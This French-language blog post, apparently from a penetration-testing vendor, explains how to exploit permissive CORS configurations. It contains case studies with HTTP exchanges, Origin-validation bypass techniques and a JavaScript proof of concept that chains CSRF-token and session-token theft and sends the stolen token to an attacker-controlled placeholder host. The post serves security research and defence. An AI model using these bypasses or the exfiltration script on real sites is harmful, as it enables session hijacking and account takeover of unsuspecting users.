Exploiter la confiance : utiliser les configurations CORS permissives comme des armes

Si vous êtes un pentester, ou un consommateur de rapports de pentest sur la sécurité des applications, vous avez probablement déjà rencontré le partage des ressources entre origines multiples (CORS) et les erreurs de configuration qui lui sont souvent associées. Dans un cas comme dans l’autre, vous aurez probablement rapidement écarté la découverte parce qu’elle donnait lieu à une énième « recommandation » (une vulnérabilité sans aucun impact).

Cependant, si vous avez passé un peu de temps à vous familiariser avec les erreurs de configurations CORS, vous saurez que l’expérience en laboratoire contraste fortement avec la pratique. Dans les laboratoires et les recherches associées, vous serez amené à créer des exploits pour voler des clés API et effectuer des prises de contrôle de comptes. Aucun de ces scénarios ne semble justifier une autre « recommandation » pour votre rapport

Cette incohérence a inspiré un récent projet de recherche pour répondre à une question simple : « sous-estimons-nous les vulnérabilités CORS ? ». Pour tester cette question, j’ai pris la page d’accueil de chaque domaine couvert par une licence SWAT et j’ai créé un énorme fichier Burp Suite (judicieusement appelé « MEGASWAT »). En utilisant ce fichier et le contrôle CORS intégré de Burp, j’ai pu rapidement tester chaque domaine pour les vulnérabilités CORS permissives et créer une liste de domaines vulnérables à explorer dans l’espoir de créer enfin quelques exploits CORS percutants.


Contexte sur le partage des ressources entre origines multiples (CORS)

Pour comprendre le CORS, il est préférable de commencer par une explication de la politique de même origine. Fondamentalement, la politique de même origine empêche les applications de lire les données des applications tierces. Prenons l’exemple suivant :

L’utilisateur visite actuellement le site « outpost24.com » dans son navigateur. Si l’application « outpost24.com » tente ensuite de contacter une autre application tierce (telle que « outpost24.atlassian.net »), la politique de même origine empêchera « outpost24.com » de lire la réponse de « outpost24.atlassian.net ». Cela empêche un attaquant d’héberger un site malveillant qui peut voler de manière triviale des données confidentielles aux utilisateurs en demandant simplement la réponse à, par exemple, « mail.google.com ». En d’autres termes, la politique de même origine est le contrôle de sécurité qui empêche les applications de voler vos données privées.

Cependant, il existe des cas où le domaine « outpost24.com » peut légitimement vouloir lire les données du domaine « outpost24.atlassian.net ». Après tout, ils bénéficient tous deux de la confiance d’Outpost24. Dans ces cas, la politique de même origine peut être assouplie en mettant en œuvre le partage des ressources entre origines multiples (CORS). Prenons l’exemple suivant :

Nous avons ici le même exemple. Cette fois-ci, nous avons mis en œuvre le CORS et assoupli la politique de même origine. Pour ce faire, le domaine « outpost24.com » inclut un en-tête « Origine : https://outpost24.com », qui informe « outpost24.atlassian.net » de l’origine de la requête. Si « outpost24.atlassian.net » fait confiance à « https://outpost24.com », il peut alors répondre avec l’en-tête « Access-Control-Allow-Origin : https://outpost24.com ». Cela indique au navigateur de l’utilisateur qu’il peut autoriser la lecture des données de réponse de « outpost24.atlassian.net ». De plus, l’en-tête « Access-Control-Allow-Credentials: true » spécifie que les données privées liées à la session d’un utilisateur peuvent également être lues.

Jusqu’à présent, cela semble sécurisé. Le domaine tiers peut décider à quelles origines faire confiance via l’en-tête « Access-Control-Allow-Origin » ; par conséquent, les domaines arbitraires contrôlés par un attaquant n’ont pas la possibilité d’abuser de cette relation. Mais que se passe-t-il si nous voulons faire confiance à plus d’un domaine ?

La spécification CORS stipule que l’en-tête « Access-Control-Allow-Origin » ne peut spécifier qu’une seule origine. Si vous souhaitez faire confiance à plusieurs origines, le serveur doit renvoyer l’origine du client spécifique qui effectue la requête. Ce n’est pas complètement déraisonnable, mais cela oblige les développeurs à implémenter une analyse d’URL dynamique pour l’en-tête « Origine ». Malheureusement, cela peut représenter une tâche délicate et les développeurs font souvent des erreurs lors de cette implémentation. 


Partage permissif des ressources aux origines multiples

Une erreur courante consiste à faire confiance à la valeur de l’en-tête « Origine » sans aucune validation de formulaire. Avec cette hypothèse à l’esprit, les développeurs liront souvent la valeur de l’en-tête et la refléteront dans la valeur de l’en-tête « Access-Control-Allow-Origin ». 

GET / HTTP/2
Origin: https://arbitrary.com
HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true

Malheureusement, cette simple erreur informe effectivement le navigateur d’un utilisateur que tout domaine a la permission de lire les données privées du domaine vulnérable. Lorsque cette configuration vulnérable est repérée par un attaquant, son exploitation n’est plus alors qu’une simple formalité :

Ce script est hébergé sur le domaine de l’attaquant. Lorsqu’une victime peu méfiante est amenée à visiter ce domaine, le JavaScript déclenche une requête vers le domaine vulnérable à partir duquel l’attaquant souhaite voler des données privées.  En raison de l’implémentation du CORS permissif, le navigateur permettra au JavaScript de lire les données des réponses privées, que l’attaquant exfiltrera ensuite vers son propre domaine dont il a lui-même le contrôle (comme indiqué sur la dernière ligne).


Études de cas sur la vulnérabilité du CORS

Pour comprendre exactement comment ce flux d’attaques est exécuté, il est utile d’examiner quelques études de cas. Toutes les études de cas suivantes sont soit des applications SWAT réelles qui ont été découvertes au cours de la recherche, soit des exemples externes avérés de vulnérabilités CORS.


Étude de cas n° 1 – Origine réfléchie arbitraire

Cette application était une banque bien connue qui avait une configuration CORS classiquement vulnérable dans laquelle l’en-tête « Origin » était reflété dans l’en-tête « Access-Control-Allow-Origin » comme suit :

GET / HTTP/2
Host: vulnerable.se
Cookie: <session_cookie>
Origin: https://arbitrary.com
НТТР/2 200 OK
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
  1. La victime (un utilisateur de la banque vulnérable) visite la page malveillante attacker-domain.se
  2. Le domaine contrôlé par l’attaquant déclenche le script d’exploitation CORS mentionné précédemment qui déclenche alors une requête dans le navigateur de la victime vers « vulnerable.se/getSessionToken »
  3. En raison de la configuration permissive du CORS, le navigateur de la victime pense que « attacker-domain.se » a l’autorisation de lire le jeton de session de la victime et permet donc au script malveillant de lire les données de réponse et de les exfiltrer vers le domaine contrôlé par l’attaquant.

Grâce à cela, nous avons pu prendre le contrôle des sessions des utilisateurs au sein de la banque, obtenant ainsi l’accès à toutes sortes d’informations confidentielles.

Il convient de noter que toutes les études de cas CORS permissif ci-dessous suivent le même flux d’exploitation que ci-dessus, et par conséquent, l’accent pour les cas suivants sera mis sur les mauvaises configurations spécifiques du CORS plutôt que sur les exploits eux-mêmes.


Étude de cas n° 1.5 – Origine réfléchie arbitraire « null »

Une étude de cas extrêmement similaire à l’étude de cas n°1 est la décision inexplicable de faire confiance à l’origine « null ». Une origine « null » représente des origines qui n’existent pas. Au premier abord, cela peut paraître sûr car, après tout, l’attaquant ne peut pas posséder un domaine qui n’existe pas. Cependant, avec un peu de ruse, les attaquants arrivent à héberger le même script d’exploitation CORS dans un iframe sandboxé, ce qui déclenchera alors une requête avec l’en-tête « Origin » défini sur « null ».

GET / HTTP/2
Cookie: <session_cookie>
Origin: null
HTTP/2 200 0K
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data: text/html, <script>*cors stuff here*</script>'></iframe>

La spécification CORS en fait mention, mais il s’agit d’un cas souvent négligé qui peut donner des résultats inattendus.


Étude de cas n°2 – Commencer par le domaine cible

Toutes les implémentations CORS permissives ne découlent pas d’un échec de lecture de la spécification CORS. Parfois, les développeurs souhaitent créer une relation CORS sécurisée, mais ne parviennent pas à implémenter la validation sécurisée de l’en-tête « Origine ». Un exemple classique est celui d’une application de réservation de voyages qui stockait toutes sortes de données sensibles sur ses utilisateurs et les voyages qu’ils prévoyaient de faire.

GET / HTTP/2
Origin: https://travel-advice.com

HTTP/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com
Access-Control-Allow-Credentials: true

Dans cette application, les développeurs avaient tenté de valider l’en-tête « Origine » en vérifiant qu’il commençait par le domaine de confiance. Cependant, cette implémentation est défectueuse :

GET / HTTP/2
Origin: https://travel-advice.com.outpost24.com

HTTP/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true

Comme vous pouvez le constater, le simple fait d’ajouter un enregistrement DNS pour un sous-domaine d’un domaine contrôlé par l’attaquant et commençant par le domaine de confiance, nous permettrait d’héberger notre script tout en volant des données confidentielles.

GET /api/v1/token HTTP/2
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com

HTTP/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "access_token":"eyJhY2Nlc3NfdG9rZW4i0iJTZXJpb3VzbHk/Li4uIEJ5IGhhbmQ/In0="
}

Dans ce cas, nous avons pu voler un jeton d’accès, qui a pu être utilisé pour modifier l’adresse électronique de la victime, ce qui nous a permis de prendre le contrôle total de son compte.


Étude de cas n° 3 – Faire confiance à un domaine connexe

Ce cas a été découvert sur un domaine distinct qui était inclus dans le champs d’application précédent « travel-advice.app ». À l’origine, ce domaine distinct (nous l’appellerons « ta.app.io ») n’apparaissait pas dans mes analyses. La raison en est que la vérification d’analyse CORS intégrée de Burp ne connaît que le domaine fourni à l’analyse. Par conséquent, lorsqu’il a exécuté la requête suivante et qu’aucun en-tête de réponse CORS n’a été renvoyé, il n’y avait rien à signaler :

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://ta.app.io
HTTP/2 200 OK
?

Cependant, en réfléchissant un peu au contexte, j’ai eu une idée simple. Que se passe-t-il si ce domaine ne se fait pas confiance mais fait confiance au domaine associé « travel-advice.com ».

GET / HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://travel-advice.com
Access-Control-Allow-Credentials: true

J’ai rapidement compris que cette supposition était juste. Nous envoyons ici une requête vers « ta.app.io » mais prétendons que la requête provient de « travel-advice.com ». Cela a soudainement amené le domaine « ta.app.io » à révéler qu’il faisait en fait confiance au domaine « travel-advice.com ». Je savais déjà que l’implémentation du domaine précédent était défectueuse, j’ai donc testé ce même contournement sur ce domaine :

GET / HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com

НТТР/2 200 0K
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true

La même implémentation défectueuse a été utilisée sur ce domaine, me permettant à nouveau de voler le jeton d’accès de l’utilisateur.

GET /api/v1/token HTTP/2
Host: ta.app.io
Cookie: <session_cookie>
Origin: https://travel-advice.com.outpost24.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://travel-advice.com.outpost24.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "access_token":"eyJhY2N1c3NfdG9rZWUi0iJTZXJpb3VzbHk/LiUuIEJ5IGhhbnQ/InO="
}

Ce cas était particulièrement intéressant, car il a mis à jour ce que je soupçonnais d’être une surface d’attaque souvent négligée. Une application peut ne pas révéler qu’elle implémente un CORS, à moins que vous ne lui fournissiez une origine dépendante du contexte. En d’autres termes, l’application peut ne pas se faire confiance, mais peut faire confiance à d’autres domaines ou sous-domaines associés. Si l’une de ces origines associées est validée de manière incorrecte, vous pourrez toujours obtenir une réflexion de domaine arbitraire dans l’en-tête « Access-Control-Allow-Origin » et exploiter ces cas.


Étude de cas n° 4 – Une confiance totale en localhost

Dans ce cas, un opérateur mobile a d’abord cherché à faire confiance à des sous-domaines arbitraires (nous y reviendrons plus tard). Cependant, après quelques recherches, j’ai rapidement découvert qu’il faisait également confiance aux requêtes provenant de « localhost ».

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://localhost
HTTP/2 200 OK
Access-Control-Allow-Origin: https://localhost
Access-Control-Allow-Credentials: true

Il ne s’agit pas en soi d’une configuration CORS vulnérable, car vous ne pouvez pas posséder un domaine appelé « localhost ». Cependant, la validation pour « localhost » pourrait être implémentée de manière incorrecte.

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://localhost.outpost24.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://localhost.outpost24.com
Access-Control-Allow-Credentials: true

C’était effectivement le cas. La validation, une fois de plus, a seulement vérifié que l’en-tête « Origin » commençait par « localhost ». Cela a mis en évidence une autre surface d’attaque potentiellement négligée, car la vérification d’analyse Burp CORS par défaut ne vérifie pas les contournements de l’hôte local. Cela dit, lors de la rédaction de cet article, PortSwigger a publié sa feuille de triche de contournement de validation d’URL, à laquelle nous avons soumis notre contournement de l’hôte local. Il est désormais en ligne et inclus dans la section « CORS ».


Étude de cas n° 5 – Réflexion sur un sous-domaine arbitraire

Lors de mes premières analyses, je n’ai pas prêté beaucoup d’attention aux rapports de Burp sur les implémentations CORS qui faisaient confiance à des sous-domaines arbitraires. Cependant, en discutant de ces cas avec mon collègue Jimmy (consultez son travail ici), il a souligné que faire confiance à des sous-domaines arbitraires est toujours une configuration vulnérable en raison de la probabilité de pouvoir effectuer une prise de contrôle de sous-domaine ou un XSS sur l’un des sous-domaines. De plus, nous avons réalisé que les requêtes provenant de sous-domaines contourneraient probablement (en supposant que l’attribut « Domaine » soit défini) toutes les restrictions de cookies SameSite.

Remarque : SameSite empêchera l’envoi de cookies dans un contexte d’origine croisée lorsqu’il est défini sur « Lax » (avec quelques exceptions) ou « Strict ». Par conséquent, les cas précédents ont abusé de la valeur « Aucun ».

Un cas de réflexion arbitraire de sous-domaine a été découvert chez un détaillant et un studio de jeux en ligne :

GET /user/sso/status HTTP/2
Cookie: <session_cookie>
Origin: https://arbitrary.wesellgames.play

HTTP/2 200 OK
Access-Control-Allow-Origin: https://arbitrary.wesellgames.play
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "hash":"e59d316abce80418c20937e57315cf91c1207605fe2411953844b25d",
  "ID":"93635689"
}

Si cette requête avait été lancée depuis n’importe quel sous-domaine de « wesellgames.play », nous aurions pu voler les données de réponse, qui, une fois codées en Base64, auraient permis de reconstituer le cookie de session de l’utilisateur victime.

Il convient de noter que la mise en œuvre correcte consiste ici à créer une liste blanche de sous-domaines de confiance et à vérifier la valeur de l’en-tête « Origine » par rapport à ces domaines. Bien que cela nécessite des efforts considérables si des sous-domaines sont créés/détruits fréquemment, nécessitant une mise à jour de ce code de liste blanche, il est impératif que les développeurs évitent de faire confiance à tous les sous-domaines, car cela augmente considérablement les chances d’une exploitation réussie en utilisant un sous-domaine oublié depuis longtemps et vulnérable.


Étude de cas n° 6 – Proof-of-concepts du CORS en plusieurs étapes

Un thème commun parmi les études de cas que nous avons étudiées jusqu’à présent est la simplicité de l’exploitation. Une seule requête est envoyée au domaine vulnérable et nous sommes capables de voler sa réponse. Cependant, les pentesters ne doivent pas oublier que nous exploitons cette vulnérabilité en utilisant JavaScript et qu’il existe donc de nombreuses autres options pour des exploits plus complexes. Prenons l’exemple du scénario suivant :

GET /user/getSessionToken?csrf_token=<csrf_token> HTTP/2

Cookie: <session_cookie>
Origin: https://arbitrary.com

HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "session":"659d316abce80418c20937e57315cf91c12676b5fe2411953044b25d"
}

Ici, le point de terminaison « /user/getSessionToken » est vulnérable au CORS permissif via une réflexion de domaine arbitraire. Cependant, en raison du jeton CSRF (cross-site request forgery), l’attaquant ne peut pas voler le jeton de session de l’utilisateur victime, sauf s’il arrive à deviner la valeur du jeton CSRF. Même si au premier abord cela peut sembler une impasse, il est toujours utile de prendre la peine de vérifier les autres points de terminaison vulnérables aux CORS permissifs.

GET /user/generateCSRF HTTP/2
Cookie: <session_cookie>
Origin: https://arbitrary.com

HTTP/2 200 0K
Access-Control-Allow-Origin: https://arbitrary.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{
  "csrf_token":"37cb98bfc6d271b108ac2029a0912c9e"
}

Ici, le point de terminaison utilisé pour générer le jeton CSRF était également vulnérable au CORS permissif. Par conséquent, avec une charge utile légèrement plus complexe, nous pourrions effectuer deux exploits CORS afin de voler le jeton de session de l’utilisateur victime.

Ce script abuse initialement de la vulnérabilité CORS permissive pour lire le jeton CSRF de l’utilisateur victime. Une fois cette étape franchie, le script déclenche une deuxième récupération vers le point de terminaison « /getSession », permettant à l’attaquant de voler le jeton de session de l’utilisateur victime, malgré le jeton CSRF.

const exploit = async () => {
  //Grab CSRF Token
  const getCSRF = await fetch(
    "https://arbitrary.com/generateCSRF",
    {
      credentials: "include"
		}
	);
	const csrf_token = await getCSRF.text();
	//Use CSRF Token to grab session token
	const getSession = await fetch(
	  "https://arbitrary.com/getSession?csrf_token=" + csrf_token,
	  {
	    credentials: "include"
		}
	);
	const sessionToken = await getSession.text);
	//Exfiltrate Session Token
	fetch("https://<attacker-controlled>/log?sessionToken=" + sessionToken);
}


Remarque sur les caractères génériques

Avant de passer aux études de cas plus exotiques, nous devons aborder les caractères génériques CORS. L’une des idées fausses les plus répandues est que la réponse suivante est vulnérable aux attaques CORS permissives :

HTTP/2 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Cette réponse implémente le « caractère générique » de la spécification CORS qui représente n’importe quelle origine. Il va donc de soi que cette réponse indique que l’application fait confiance à toute origine au sujet de ses données privées. Or, ce n’est pas le cas.

La spécification CORS stipule que si le caractère générique est utilisé, l’en-tête « Access-Control-Allow-Credentials » est invalidé, interrompant ainsi toute exploitation potentielle qui tenterait de récupérer les données privées des utilisateurs authentifiés. Il s’agit d’une configuration assez courante et qui perturbe en réalité les implémentations légitimes du CORS.

Cela dit, tous les exploits CORS ne doivent pas nécessairement abuser de l’en-tête « Access-Control-Allow-Credentials ».


Étude de cas n° 7 – La construction de tunnels

Cette étude de cas est particulièrement utile pour les pentesters exposés à des applications accessibles uniquement sur le réseau interne. Souvent, ce type d’application n’implémente aucune forme d’authentification, car elle est déjà uniquement accessible que si vous êtes sur le réseau interne ou sur un VPN d’entreprise par exemple.

Si le CORS est implémenté sur ce type d’application, alors une configuration aussi simple que la suivante pourra être exploitée.

HTTP/2 200 OK
Access-Control-Allow-Origin: *

Ici, l’application indique qu’elle fait confiance à toutes les origines concernant ses données. L’en-tête « Access-Control-Allow-Credentials » n’est pas présent ici car l’application n’implémente aucune authentification ou autorisation. En un sens, la seule autorisation requise est que vous soyez connecté au réseau interne lorsque vous essayez d’y accéder. Cependant, si un attaquant est capable d’attirer une victime installée sur le réseau interne vers le domaine qu’il contrôle, il pourra abuser de l’accès « privilégié » du navigateur de la victime au réseau interne, afin d’exploiter cette mauvaise configuration CORS. Prenons l’exemple suivant :

  1. L’attaquant envoie à la victime un lien vers le domaine qu’il contrôle
  2. La victime (qui se trouve sur le réseau interne) visite le domaine contrôlé par l’attaquant
  3. Le script malveillant hébergé sur le domaine contrôlé par l’attaquant est exécuté dans le navigateur de la victime qui, malheureusement, a accès au réseau interne. Cela permet au script d’atteindre l’instance interne « BitBucket » et de voler des informations à partir de référentiels git privés.
  4. Le script exfiltre les données privées « BitBucket » du réseau interne vers le domaine contrôlé par l’attaquant

Il convient également de noter que cette technique fonctionnerait également dans un cas classique où l’application aurait implémenté l’authentification. Cependant, dans ce cas, l’origine devrait refléter le domaine de l’attaquant et l’en-tête « Access-Control-Allow-Credentials » devrait être défini comme normal.


Étude de cas n° 8 – Le contournement des caractères spéciaux

Notre dernière étude de cas est un rappel d’une technique CORS avancée, documentée en 2016, puis plus récemment dans la feuille de triche de contournement de validation d’URL de PortSwigger. Cette recherche révèle que certains navigateurs acceptent toutes sortes de caractères étranges dans les noms de domaine. Il est important de noter que Chrome et Firefox prennent tous deux en charge le caractère « _ » (underscore) qui peut facilement casser une expression régulière implémentée pour valider l’en-tête « Origin ».

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

De plus, Safari est extrêmement laxiste dans son acceptation des caractères spéciaux dans les domaines, ce qui permet des exemples encore plus étranges de contournements de validation de l’en-tête « Origine ».

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true


Sous-estimons-nous les vulnérabilités du CORS ?

Au moment où j’ai terminé cette recherche, nous avions signalé ou mis à jour une gamme diversifiée de résultats auprès de nos clients SWAT, avec des exploits allant de petites divulgations d’informations à des scénarios plus critiques impactant les sessions des utilisateurs. L’équipe est désormais bien équipée pour exploiter les vulnérabilités CORS permissives les plus obscures, maintenant que nous disposons d’une méthodologie plus robuste pour la détection et la création de proofs-of-concepts fonctionnelles et réalistes.

Un CORS permissif peut être difficile à exploiter en raison des contrôles de sécurité modernes tels que l’attribut de cookie « SameSite », ou même des architectures d’application modernes comme les applications à page unique, qui implémentent souvent des en-têtes « Authorization » personnalisés qui ne sont pas automatiquement inclus dans les demandes d’informations d’identification par les navigateurs. Cependant, cette recherche a montré que si vous êtes attentifs, vous les détecterez, et parfois avec un impact critique sur le site.

De plus, j’ai réalisé que la détection du CORS peut être tout aussi délicate. Bien que les contrôles d’analyse de Burp Suite soient excellents, il existe des cas limites que vous manquerez si vous n’êtes pas équipé pour les rechercher. Avec tout cela à l’esprit, les sections suivantes détaillent certains conseils en matière d’outils et de méthodologie que vous pouvez suivre pour augmenter vos chances de détecter des vulnérabilités dans les implémentations de partage de ressources entre origines multiples (CORS).


Méthodologie et conseils


1. Scannez, scannez, scannez

Les en-têtes CORS ne sont pas toujours implémentés à l’échelle de l’application. Vous les trouverez souvent cachés dans des zones spécifiques d’applications telles que les points de terminaison d’API. Étant donné que ces en-têtes peuvent soudainement apparaître sur n’importe quel point de terminaison, nous, en tant que pentesters, avons le devoir d’être très prudents lors de la vérification des CORS. Si vous voyez un point de terminaison contenant des données sensibles, exécutez une vérification CORS rapide sur ce point de terminaison au cas où.


2. Prenez en compte tous les domaines de confiance

L’un des angles morts lors des tests de CORS permissifs est l’hypothèse selon laquelle l’application se fait confiance et que vous pouvez donc vérifier les en-têtes CORS en ajoutant « Origine : <domaine de l’application ici> » à une demande. Cette hypothèse peut être erronée. Un contrôle plus approfondi devrait inclure la création d’une liste de domaines et de sous-domaines apparentés connus et l’exécution de cette liste par l’intermédiaire de l’en-tête « Origin ».

Si l’un de ces domaines déclenche des en-têtes CORS dans la réponse, il se peut que la validation de ces domaines soit défectueuse. Il vaut donc la peine de rechercher les contournements évoqués dans les études de cas pour chacun des domaines auxquels on fait confiance.


3. N’abandonnez pas lorsque SameSite n’est pas « None » (aucun)

SameSite a été, et continue d’être, une plaie pour les pentesters. Ce qui signifie probablement que c’est un très bon contrôle de sécurité. Cela dit, « SameSite=None » n’est pas le seul cas où CORS peut être exploité. Lorsqu’un en-tête « Set-Cookie » contient « SameSite=Lax » ou « SameSite=Strict » ainsi que « Domain=<target-domain> », recherchez plutôt une réflexion de sous-domaine arbitraire. Tout exploit CORS hébergé sur ces sous-domaines via XSS ou prise de contrôle de sous-domaine contournera automatiquement les restrictions « SameSite ».


4. Appliquer le contexte aux applications internes

Lorsque vous testerez des applications internes, vous travaillerez souvent via un VPN pour accéder à cette application. S’il n’implémente pas l’authentification et qu’il implémente également le caractère générique CORS « * », rappelez-vous que vous avez un cas CORS valide à explorer.


5. Les en-têtes d’autorisation ne sont pas une fin en soi

Vous rencontrerez souvent des applications qui implémentent CORS, mais qui utilisent également l’en-tête personnalisé « Authorization Bearer <access_token> ». Bien que cela empêche l’exploitation sur tout point de terminaison nécessitant cet en-tête « Autorisation », n’abandonnez pas. Certaines implémentations utilisent un cookie initial défini pour actualiser ou renouveler les jetons porteurs. Si ces points de terminaison sont vulnérables à une mauvaise configuration CORS permissive, vous avez une chance de réaliser une découverte critique qui vous permettra de voler le jeton d’accès d’une victime.


Outils : les meilleures pratiques

Pour compléter cette méthodologie, j’ai créé une extension Burp qui vérifiera tous les contournements mentionnés dans cette recherche, ainsi que ceux inclus dans la feuille de triche de contournement de validation d’URL, récemment publiée par PortSwigger. De plus, l’extension peut être utilisée pour vérifier rapidement si un point de terminaison donné possède un domaine de confiance caché. Si des domaines semblent être approuvés, l’extension tentera automatiquement d’utiliser les contournements mentionnés précédemment pour vérifier les problèmes CORS permissifs.

Vous pouvez également vérifier manuellement les domaines de confiance à l’aide d’intruder :

  1. Prenez tous les domaines concernés par votre test et exécutez des outils comme subfinder pour créer une liste de domaines et de sous-domaines susceptibles d’être considérés comme « fiables »
  2. Envoyez un point de terminaison que vous souhaitez tester pour le CORS permissif à l’intrus dans Burp Suite et ajoutez un en-tête « Origine » avec des espaces réservés comme celui-ci `Origine : https://§outpost24.com§`
  3. Décochez « Encoder ces caractères par URL » dans les paramètres de l’intruder
  4. Exécutez le script et filtrez l’en-tête « Access-Control-Allow-Origin »

Une fois que vous disposez d’une liste de domaines de confiance qui répondent aux en-têtes « Access-Control-Allow-Origin », vous pouvez tester les contournements normaux de l’en-tête « Origin » pour tenter d’obtenir une réflexion de domaine arbitraire.


Points clés à retenir

  • Le CORS permissif n’est souvent pas simplement une recommandation et des cas sont toujours en cours
  • La réflexion arbitraire des sous-domaines n’est toujours pas sécurisée
  • Les CORS permissifs peuvent échapper aux contrôles d’analyse lorsque les applications font confiance à d’autres domaines que le leur
  • Les applications internes doivent être soigneusement évaluées pour les CORS permissifs, y compris l’utilisation du caractère générique
  • Les proofs-of-concepts en plusieurs étapes sont viables et puissantes


Détectez les vulnérabilités à risque avec PTaaS

Des tests d’intrusion réguliers constituent le meilleur moyen de renforcer la sécurité globale de votre application web. La solution de Pen Testing-as-a-Service (PTaaS) d’Outpost24, SWAT, offre une surveillance continue de vos applications web orientées vers Internet grâce à un modèle de livraison SaaS. Contrairement aux tests entièrement automatisés, nos pentesteurs hautement qualifiés effectuent des analyses personnalisées et approfondies pour découvrir les vulnérabilités les plus graves. Cela peut vous protéger des vulnérabilités que les scanners automatisés peuvent manquer. Contactez un expert pour organiser une démonstration en direct.